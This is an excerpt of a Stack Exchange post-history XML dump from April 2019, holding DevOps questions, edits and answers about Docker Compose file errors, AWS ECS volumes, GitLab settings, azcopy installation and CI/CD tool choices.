  <row Id="23030" PostHistoryTypeId="5" PostId="6916" RevisionGUID="636a2c1f-4f46-47dc-9388-dc3b0837eb68" CreationDate="2019-04-24T13:00:49.190" UserId="7730" Comment="added 289 characters in body" Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, building the image from Docker file seems fine but not ale to launch container, getting the below error, also pasting the Dockerfile and Docker-Compose file, just after the error, I am running Docker desktop on my Windows 10 PC&#xD;&#xA;&#xD;&#xA;    enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;&#xD;&#xA;Here is the output from docker-compose:&#xD;&#xA;&#xD;&#xA;    Starting frontend_web_1  ... done&#xD;&#xA;    Starting frontend_test_1 ... done&#xD;&#xA;    Attaching to frontend_test_1, frontend_web_1&#xD;&#xA;    web_1   | npm ERR! path /app/package.json&#xD;&#xA;    web_1   | npm ERR! code ENOENT&#xD;&#xA;    web_1   | npm ERR! errno -2&#xD;&#xA;    web_1   | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    web_1   | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    web_1   | npm ERR! enoent&#xD;&#xA;    test_1  | npm ERR! path /app/package.json&#xD;&#xA;    test_1  | npm ERR! code ENOENT&#xD;&#xA;    test_1  | npm ERR! errno -2&#xD;&#xA;    web_1   |&#xD;&#xA;    test_1  | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    web_1   | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_226Z-debug.log&#xD;&#xA;    test_1  | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    test_1  | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    test_1  | npm ERR! enoent&#xD;&#xA;    test_1  |&#xD;&#xA;    test_1  | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    test_1  | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_236Z-debug.log&#xD;&#xA;    frontend_web_1 exited with code 254&#xD;&#xA;    frontend_test_1 exited with code 254&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;&#xD;&#xA;    FROM node:alpine&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    COPY package.json .&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY . .&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      web: &#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        ports:&#xD;&#xA;        - &quot;3000:3000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;        - /app/node_modules&#xD;&#xA;        - .:/app&#xD;&#xA;      test:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        volumes:&#xD;&#xA;        - /app/node_modules&#xD;&#xA;        - .:/app&#xD;&#xA;        command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23034" PostHistoryTypeId="50" PostId="6359" RevisionGUID="e739e061-18f9-4b2d-af0b-6d15faf1938a" CreationDate="2019-04-24T15:03:00.567" UserId="-1" />
  <row Id="23035" PostHistoryTypeId="5" PostId="6934" RevisionGUID="3e66d421-e00f-4d59-8dba-107ad9d512c6" CreationDate="2019-04-24T17:07:22.450" UserId="4328" Comment="added 2 characters in body" Text="The first thing I can recommend for you is to remove all of the manual steps in your deployment pipeline. DevOps is all about automating as much as possible to allow for fast, frequent, and safe deployment of your infrastructure. &#xD;&#xA;&#xD;&#xA;Second, if you haven't already, I would recommend using a build and deployment tool (Jenkins, Bamboo, GitLabCI, etc.) to compile your binaries and execute your automated deployment/configuration scripts. Having a central location for your deployments allows you to be able to scale more effectively, avoid repetition, and monitor your deployments more accurately. You should also store ALL of your scripts in some form of revision control ASAP (if they are not already).&#xD;&#xA;&#xD;&#xA;Finally, I recommend you read up more on DevOps best practices and how it can affect your organization. In order for DevOps to be truly effective, your entire development team and company must adopt best practices and be 100% on board with a shift in how you manage your deployments. &#xD;&#xA;&#xD;&#xA;Some reading I can recommend are:&#xD;&#xA;&#xD;&#xA;[The Phoenix Project][1] by Gene Kim, Kevin Behr, and George Spafford&#xD;&#xA;&#xD;&#xA;A telling of a fictional, but very realistic story of DevOps transforming a company and the opticals that the team faces to get there. &#xD;&#xA;&#xD;&#xA;[The DevOps Handbook][2] by Gene Kim, Patrick Debois, John Willis, Jez Humble, and John Allspaw&#xD;&#xA;&#xD;&#xA;Outlines the steps/stages to transform your company into a DevOps organization along with an assortment of real life DevOps transforming case studies.&#xD;&#xA;&#xD;&#xA;[Accelerate][3] by Nicole Forsgren, Jez Humble, and Gene Kim&#xD;&#xA;&#xD;&#xA;A plethora of empirical data and analysis on how DevOps has improved organizations both within IT and the entire company. &#xD;&#xA;&#xD;&#xA;[Continuous Integration][4] by Paul Duvall, Steve Matayas, and Andrew Glover&#xD;&#xA;&#xD;&#xA;Lays out the steps to take to move your organization to be able to deploy to the highest standards possible. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262592/ref=sr_1_1?keywords=phoenix%20project&amp;qid=1556051582&amp;s=gateway&amp;sr=8-1&#xD;&#xA;  [2]: https://www.amazon.com/DevOps-Handbook-World-Class-Reliability-Organizations/dp/1942788002/ref=pd_sim_14_1/140-9320419-0348704?_encoding=UTF8&amp;pd_rd_i=1942788002&amp;pd_rd_r=3fd3cd38-6607-11e9-afd4-2da01f345a74&amp;pd_rd_w=r4fse&amp;pd_rd_wg=u6eHj&amp;pf_rd_p=90485860-83e9-4fd9-b838-b28a9b7fda30&amp;pf_rd_r=AG051RX14M2E1R9DWQW3&amp;psc=1&amp;refRID=AG051RX14M2E1R9DWQW3&#xD;&#xA;  [3]: https://www.amazon.com/Accelerate-Software-Performing-Technology-Organizations/dp/1942788339/ref=sr_1_1?keywords=Accellerate&amp;qid=1556051875&amp;s=books&amp;sr=1-1&#xD;&#xA;  [4]: https://www.amazon.com/Continuous-Integration-Improving-Software-Reducing/dp/0321336380/ref=sr_1_4?crid=1NYCLTALQVLNV&amp;keywords=continuous%20integration&amp;qid=1556051943&amp;s=books&amp;sprefix=continuous%20integ%2Cstripbooks%2C161&amp;sr=1-4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23039" PostHistoryTypeId="50" PostId="5061" RevisionGUID="fdedea0f-1d7e-4877-a4f2-b87ff418f252" CreationDate="2019-04-24T18:02:15.440" UserId="-1" />
  <row Id="23040" PostHistoryTypeId="2" PostId="7945" RevisionGUID="7c09949a-d5f6-48ae-acf9-dd4018f389e7" CreationDate="2019-04-24T18:25:39.930" UserId="2494" Text="Is there any reason not to default enable 'Allow Users to Request Access' for Projects?&#xD;&#xA;&#xD;&#xA;I can conceive that there may be a reason this is not enabled by default. But I am considering enabling it if possible. If not that may be a feature request.&#xD;&#xA;&#xD;&#xA;Anybody know why it is default disabled?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23041" PostHistoryTypeId="1" PostId="7945" RevisionGUID="7c09949a-d5f6-48ae-acf9-dd4018f389e7" CreationDate="2019-04-24T18:25:39.930" UserId="2494" Text="Gitlab - Is there any reason not to default enable 'Allow Users to Request Access' for Projects?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23042" PostHistoryTypeId="3" PostId="7945" RevisionGUID="7c09949a-d5f6-48ae-acf9-dd4018f389e7" CreationDate="2019-04-24T18:25:39.930" UserId="2494" Text="&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23043" PostHistoryTypeId="2" PostId="7946" RevisionGUID="37afb260-b8d2-4a96-9e72-c6cbf202982a" CreationDate="2019-04-24T20:28:59.050" UserId="12139" Text="The ECS instance fails to join the ECS cluster because it relies on docker to launch its ecs agent. If in this case docker fails to start then the whole process halts.&#xD;&#xA;&#xD;&#xA;Docker fails to start in AWS ECS instances with the following message in /var/log/docker :&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;    Error starting daemon: error initializing graphdriver: devicemapper: Non &#xD;&#xA;    existing device docker-docker--pool&#xD;&#xA;&#xD;&#xA;Notice the following.&#xD;&#xA;&#xD;&#xA;Instance AMI is a COPY of the AWS ECS optimized AMI with the embedded ECS agent(and docker config for ECS)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23044" PostHistoryTypeId="1" PostId="7946" RevisionGUID="37afb260-b8d2-4a96-9e72-c6cbf202982a" CreationDate="2019-04-24T20:28:59.050" UserId="12139" Text="Why does Docker fail to start on AWS ECS instances. ECS stateful instance fails initialization. ECS stateful instance doesn't join the ECS cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="23045" PostHistoryTypeId="3" PostId="7946" RevisionGUID="37afb260-b8d2-4a96-9e72-c6cbf202982a" CreationDate="2019-04-24T20:28:59.050" UserId="12139" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;&lt;amazon-ami&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23046" PostHistoryTypeId="2" PostId="7947" RevisionGUID="0b3ec326-e1e0-48c6-b42a-4585ec03c61e" CreationDate="2019-04-24T20:28:59.050" UserId="12139" Text="The key here is the behavior of AWS AMIs in the context of ECS. By default the AWS ECS Amazon Linux AMI optimized for ECS is in charge of VOLUME management but there's a problem if you copy that AMI and try to launch a new instance, the SECONDARY volume that ECS uses to deploy docker on can go missing.&#xD;&#xA;&#xD;&#xA;Troubleshooting steps.&#xD;&#xA;&#xD;&#xA; - Check /var/log/cloud-init-output.log and see if you have an error message like:&#xD;&#xA;&#xD;&#xA;    ERROR: /dev//dev/xvdcz is not a valid block device.&#xD;&#xA;&#xD;&#xA; - Check your instance mounted volumes and make sure that the Secondary Volume exists. Usually if you see the error above it means that only /dev/xvda is mounted.&#xD;&#xA;&#xD;&#xA;FIX:&#xD;&#xA;&#xD;&#xA;Enforce your Launch Configuration, Launch Template or script to always deploy the secondary volume /dev/xvdcz REGARDLESS of AMI configuration, do not rely on the AMI as unfortunately the AMI flow has changed and might not preserve all the necessary configuration.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23047" PostHistoryTypeId="2" PostId="7948" RevisionGUID="e6d5c4c4-c28b-4908-ad58-e33ed23540d7" CreationDate="2019-04-24T20:45:04.743" UserId="4328" Text="It's just a safeguard for preventing unwanted user accounts from accessing projects. It's disabled by default so that you can control from the start which accounts can access a project and not have unwanted spam of requests for access.&#xD;&#xA;&#xD;&#xA;One example I can think of, is if you only wanted users to be able to use their company email/account to access projects, and not their personal account. It could even happen by accident that someone unknowingly requests access with the wrong account. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23056" PostHistoryTypeId="2" PostId="7951" RevisionGUID="ecd0721f-dd24-468b-abdb-c1c04ccff0c3" CreationDate="2019-04-25T02:34:22.673" UserId="13112" Text="The service hook will fire as part of the notifications process.  You can suppress all notifications by setting the URI parameter `suppressNotifications` to `true`.&#xD;&#xA;&#xD;&#xA;An example request URI might be:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;PATCH https://dev.azure.com/fabrikam/_apis/wit/workitems/{id}?suppressNotifications=true&amp;api-version=5.0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See the [work item update API documentation][1] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/rest/api/azure/devops/wit/work%20items/update?view=azure-devops-rest-5.0#uri-parameters" ContentLicense="CC BY-SA 4.0" />
  <row Id="23057" PostHistoryTypeId="50" PostId="5203" RevisionGUID="e78ce25f-e26c-4dcd-bdb2-ccc807c79548" CreationDate="2019-04-25T05:02:05.510" UserId="-1" />
  <row Id="23058" PostHistoryTypeId="2" PostId="7952" RevisionGUID="a720bb7f-6238-47b3-9ee3-454d8d521b3b" CreationDate="2019-04-25T12:12:00.227" UserId="12336" Text="I used brew to install docker, docker-machine and docker-compose. Everything is working, but when I use expose to map port on my host machine, it is not working.&#xD;&#xA;&#xD;&#xA;When I ssh in docker machine service is running perfectly inside docker machine, but outside nothing coming up.&#xD;&#xA;&#xD;&#xA;My software versions are &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Docker version 18.09.5, build e8ff056&#xD;&#xA;&#xD;&#xA;docker-machine version 0.16.1, build cce350d&#xD;&#xA;&#xD;&#xA;docker-compose version 1.24.0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Here is my Dockerfile&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM node&#xD;&#xA;  LABEL maintainer xyz@gmail.com&#xD;&#xA;  RUN git clone -q https://github.com/docker-in-practice/todo.git&#xD;&#xA;  WORKDIR todo&#xD;&#xA;  RUN npm install &gt; /dev/null&#xD;&#xA;  EXPOSE 8000&#xD;&#xA;  CMD [&quot;npm&quot;, &quot;start&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I use following command to run docker &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -i -t -p 8000:8000 --name example1 todoapp&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have read many article and noticed there is issues in docker and mac related, but not sure how can I solve it. Please any suggestion. I am not using mac docker app due to system resources limit.&#xD;&#xA;&#xD;&#xA;I also read somewhere that I should use sudo than it should work, but I tried and get following error&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?&#xD;&#xA;```&#xD;&#xA;I think sudo will require when port is below 1000 but my port is 8000 so I don't think I need sudo here.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23059" PostHistoryTypeId="1" PostId="7952" RevisionGUID="a720bb7f-6238-47b3-9ee3-454d8d521b3b" CreationDate="2019-04-25T12:12:00.227" UserId="12336" Text="Docker not exposing port on mojave mac" ContentLicense="CC BY-SA 4.0" />
  <row Id="23060" PostHistoryTypeId="3" PostId="7952" RevisionGUID="a720bb7f-6238-47b3-9ee3-454d8d521b3b" CreationDate="2019-04-25T12:12:00.227" UserId="12336" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;ports&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23061" PostHistoryTypeId="2" PostId="7953" RevisionGUID="de3b2a47-10a7-4f53-98fb-49719a3a7f10" CreationDate="2019-04-25T13:26:52.473" UserId="7730" Text="Most likely the port is published on the VM and you are trying to connect to your laptop's IP and not seeing it. Newer versions of docker that use xhyve include some networking tricks to publish the port all the way to your laptop, but docker-machine with VirtualBox does not do this.&#xD;&#xA;&#xD;&#xA;You can lookup the IP of your VM with `docker-machine ls` or see it in the variable `echo $DOCKER_HOST` and connect to port 8000 on that IP to reach your application." ContentLicense="CC BY-SA 4.0" />
  <row Id="23062" PostHistoryTypeId="5" PostId="7952" RevisionGUID="1b2dad77-5910-45bd-a715-85cbb64d9b07" CreationDate="2019-04-25T13:40:20.917" UserId="12336" Comment="added 43 characters in body" Text="I used brew to install docker, docker-machine and docker-compose. Everything is working, but when I use expose to map port on my host machine, it is not working.&#xD;&#xA;&#xD;&#xA;When I ssh in docker machine service is running perfectly inside docker machine, but outside nothing coming up.&#xD;&#xA;&#xD;&#xA;My software versions are &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Docker version 18.09.5, build e8ff056&#xD;&#xA;&#xD;&#xA;docker-machine version 0.16.1, build cce350d&#xD;&#xA;&#xD;&#xA;docker-compose version 1.24.0&#xD;&#xA;```&#xD;&#xA;and I am using `xhyve` for virtualization&#xD;&#xA;&#xD;&#xA;Here is my Dockerfile&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM node&#xD;&#xA;  LABEL maintainer xyz@gmail.com&#xD;&#xA;  RUN git clone -q https://github.com/docker-in-practice/todo.git&#xD;&#xA;  WORKDIR todo&#xD;&#xA;  RUN npm install &gt; /dev/null&#xD;&#xA;  EXPOSE 8000&#xD;&#xA;  CMD [&quot;npm&quot;, &quot;start&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I use following command to run docker &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -i -t -p 8000:8000 --name example1 todoapp&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have read many article and noticed there is issues in docker and mac related, but not sure how can I solve it. Please any suggestion. I am not using mac docker app due to system resources limit.&#xD;&#xA;&#xD;&#xA;I also read somewhere that I should use sudo than it should work, but I tried and get following error&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?&#xD;&#xA;```&#xD;&#xA;I think sudo will require when port is below 1000 but my port is 8000 so I don't think I need sudo here.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23063" PostHistoryTypeId="5" PostId="6916" RevisionGUID="52941848-3b6f-46bf-ac1e-e60fdea100c9" CreationDate="2019-04-25T14:21:44.560" UserId="13587" Comment="added 157 characters in body" Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, building the image from Docker file seems fine but not ale to launch container, getting the below error, also pasting the Dockerfile and Docker-Compose file, just after the error, I am running Docker desktop on my Windows 10 PC&#xD;&#xA;&#xD;&#xA;    enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;&#xD;&#xA;Here is the output from docker-compose:&#xD;&#xA;&#xD;&#xA;    Starting frontend_web_1  ... done&#xD;&#xA;    Starting frontend_test_1 ... done&#xD;&#xA;    Attaching to frontend_test_1, frontend_web_1&#xD;&#xA;    web_1   | npm ERR! path /app/package.json&#xD;&#xA;    web_1   | npm ERR! code ENOENT&#xD;&#xA;    web_1   | npm ERR! errno -2&#xD;&#xA;    web_1   | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    web_1   | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    web_1   | npm ERR! enoent&#xD;&#xA;    test_1  | npm ERR! path /app/package.json&#xD;&#xA;    test_1  | npm ERR! code ENOENT&#xD;&#xA;    test_1  | npm ERR! errno -2&#xD;&#xA;    web_1   |&#xD;&#xA;    test_1  | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    web_1   | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_226Z-debug.log&#xD;&#xA;    test_1  | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    test_1  | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    test_1  | npm ERR! enoent&#xD;&#xA;    test_1  |&#xD;&#xA;    test_1  | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    test_1  | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_236Z-debug.log&#xD;&#xA;    frontend_web_1 exited with code 254&#xD;&#xA;    frontend_test_1 exited with code 254&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;&#xD;&#xA;    FROM node:alpine&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    COPY package.json .&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY . .&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      web: &#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        ports:&#xD;&#xA;        - &quot;3000:3000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;        - /app/node_modules&#xD;&#xA;        - .:/app&#xD;&#xA;      test:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        volumes:&#xD;&#xA;        - /app/node_modules&#xD;&#xA;        - .:/app&#xD;&#xA;        command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]&#xD;&#xA;&#xD;&#xA;Executed the below statement and the corresponding response,&#xD;&#xA;&#xD;&#xA;    $ docker run -it --rm -v &quot;$(pwd):/app&quot; busybox ls -l /app&#xD;&#xA;&#xD;&#xA;    the input device is not a TTY.  If you are using mintty, try prefixing the command with 'winpty'" ContentLicense="CC BY-SA 4.0" />
  <row Id="23064" PostHistoryTypeId="5" PostId="6916" RevisionGUID="d71483cc-861d-4e4f-b2b2-cc300fa4df2b" CreationDate="2019-04-25T14:29:40.613" UserId="13587" Comment="added 157 characters in body" Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, building the image from Docker file seems fine but not ale to launch container, getting the below error, also pasting the Dockerfile and Docker-Compose file, just after the error, I am running Docker desktop on my Windows 10 PC&#xD;&#xA;&#xD;&#xA;    enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;&#xD;&#xA;Here is the output from docker-compose:&#xD;&#xA;&#xD;&#xA;    Starting frontend_web_1  ... done&#xD;&#xA;    Starting frontend_test_1 ... done&#xD;&#xA;    Attaching to frontend_test_1, frontend_web_1&#xD;&#xA;    web_1   | npm ERR! path /app/package.json&#xD;&#xA;    web_1   | npm ERR! code ENOENT&#xD;&#xA;    web_1   | npm ERR! errno -2&#xD;&#xA;    web_1   | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    web_1   | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    web_1   | npm ERR! enoent&#xD;&#xA;    test_1  | npm ERR! path /app/package.json&#xD;&#xA;    test_1  | npm ERR! code ENOENT&#xD;&#xA;    test_1  | npm ERR! errno -2&#xD;&#xA;    web_1   |&#xD;&#xA;    test_1  | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    web_1   | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_226Z-debug.log&#xD;&#xA;    test_1  | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    test_1  | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    test_1  | npm ERR! enoent&#xD;&#xA;    test_1  |&#xD;&#xA;    test_1  | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    test_1  | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_236Z-debug.log&#xD;&#xA;    frontend_web_1 exited with code 254&#xD;&#xA;    frontend_test_1 exited with code 254&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;&#xD;&#xA;    FROM node:alpine&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    COPY package.json .&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY . .&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      web: &#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - .:/app&#xD;&#xA;      test:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - .:/app&#xD;&#xA;        command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]&#xD;&#xA;&#xD;&#xA;Executed the below statement and the corresponding response,&#xD;&#xA;&#xD;&#xA;    $ docker run -it --rm -v &quot;$(pwd):/app&quot; busybox ls -l /app&#xD;&#xA;&#xD;&#xA;    the input device is not a TTY.  If you are using mintty, try prefixing the command with 'winpty'" ContentLicense="CC BY-SA 4.0" />
  <row Id="23065" PostHistoryTypeId="2" PostId="7954" RevisionGUID="60c02faa-3029-47dc-aa22-52891403cb12" CreationDate="2019-04-25T16:04:20.067" UserId="4328" Text="Both are excellent tools, but it depends on your use cases for which is better. I would highly recommend using the entire AWS Ci/Cd suite (CodeBuild/CodePipeline/CodeDeploy) to gain the full benefit of using your resources in AWS. Here are pros for both:&#xD;&#xA;&#xD;&#xA;**Jenkins**&#xD;&#xA;&#xD;&#xA; - Multitude of customizability plugins&#xD;&#xA; - Integration with all cloud providers (GCP, Azure, etc.)&#xD;&#xA; - Open sourced&#xD;&#xA; - Configuration as code through Jenkins Pipelines&#xD;&#xA; - Able to manage your own Jenkins Server (vs AWS which manages it for you)&#xD;&#xA; - Customizable GUI&#xD;&#xA;&#xD;&#xA;**AWS CI/CD** &#xD;&#xA;&#xD;&#xA; - No plugins (no dependency hell) &#xD;&#xA; - Trivial integration with IAM (for both users and infrastructure)&#xD;&#xA; - Easy integration with AWS Secrets Manager, KMS, and other secret management tools &#xD;&#xA; - AWS managed infrastructure &#xD;&#xA; - Infrastructure as code through CloudFormation&#xD;&#xA; - Scalable out of the box&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;TLDR; Choose Jenkins if you want more control/configuration of your deployment infrastructure or you are integrating with many non-aws resources, otherwise, choose the AWS CI/CD suite for less overhead and better integration with AWS. " ContentLicense="CC BY-SA 4.0" />
  <row Id="23066" PostHistoryTypeId="6" PostId="7942" RevisionGUID="d0c69179-4298-4c1d-85e9-cf96178c7bcf" CreationDate="2019-04-25T16:51:32.260" UserId="4328" Comment="Added tags" Text="&lt;amazon-web-services&gt;&lt;automation&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23069" PostHistoryTypeId="2" PostId="7955" RevisionGUID="752d03db-2a64-4e9d-88ad-dc73e01ec71a" CreationDate="2019-04-25T19:06:12.840" UserId="14645" Text="How can I install [azcopy][1] and use it in my gitlab runner CI/CD script?&#xD;&#xA;&#xD;&#xA;First I have two scripts that download the tar file and extract it.&#xD;&#xA;&#xD;&#xA;  - wget -O azcopy.tar.gz https://aka.ms/downloadazcopy-v10-linux&#xD;&#xA;  - tar -xf azcopy.tar.gz&#xD;&#xA;&#xD;&#xA;However, if I try running executable `./azcopy_linux_amd64_10.1.0/azcopy` I get an error saying `/bin/sh: eval: line 102: ./azcopy_linux_amd64_10.1.0/azcopy: not found`&#xD;&#xA;I know this directory/file exists because I've ran `ls` commands.&#xD;&#xA;&#xD;&#xA;I've also tried copying the binary to `/usr/bin` and/or `/usr/local/bin` but I still get the error: `/bin/sh: eval: line 102: azcopy: not found`&#xD;&#xA;&#xD;&#xA;What am I doing wrong? How can I extract and run the executable, or otherwise install azcopy in my gitlab CI/CD script&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="23070" PostHistoryTypeId="1" PostId="7955" RevisionGUID="752d03db-2a64-4e9d-88ad-dc73e01ec71a" CreationDate="2019-04-25T19:06:12.840" UserId="14645" Text="Installing azcopy in Gitlab Runner (Alpine Linux)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23071" PostHistoryTypeId="3" PostId="7955" RevisionGUID="752d03db-2a64-4e9d-88ad-dc73e01ec71a" CreationDate="2019-04-25T19:06:12.840" UserId="14645" Text="&lt;docker&gt;&lt;gitlab-ci-runner&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23072" PostHistoryTypeId="2" PostId="7956" RevisionGUID="3c18c636-5a59-4b1b-b23c-3ba607ab5f39" CreationDate="2019-04-25T19:41:59.570" UserId="13333" Text="I started my docker container with `--rm` and `-it` options. I need to keep that container now because it has some important data. Can I cancel the `--rm` switch using the `docker update` command?&#xD;&#xA;&#xD;&#xA;This [answer][1] from SO says it is possible, but I it doesn't say how exactly!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/35009621/i-started-a-docker-container-with-rm-is-there-an-easy-way-to-keep-it-without" ContentLicense="CC BY-SA 4.0" />
  <row Id="23073" PostHistoryTypeId="1" PostId="7956" RevisionGUID="3c18c636-5a59-4b1b-b23c-3ba607ab5f39" CreationDate="2019-04-25T19:41:59.570" UserId="13333" Text="Can I keep a container that I started with --rm option?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23074" PostHistoryTypeId="3" PostId="7956" RevisionGUID="3c18c636-5a59-4b1b-b23c-3ba607ab5f39" CreationDate="2019-04-25T19:41:59.570" UserId="13333" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
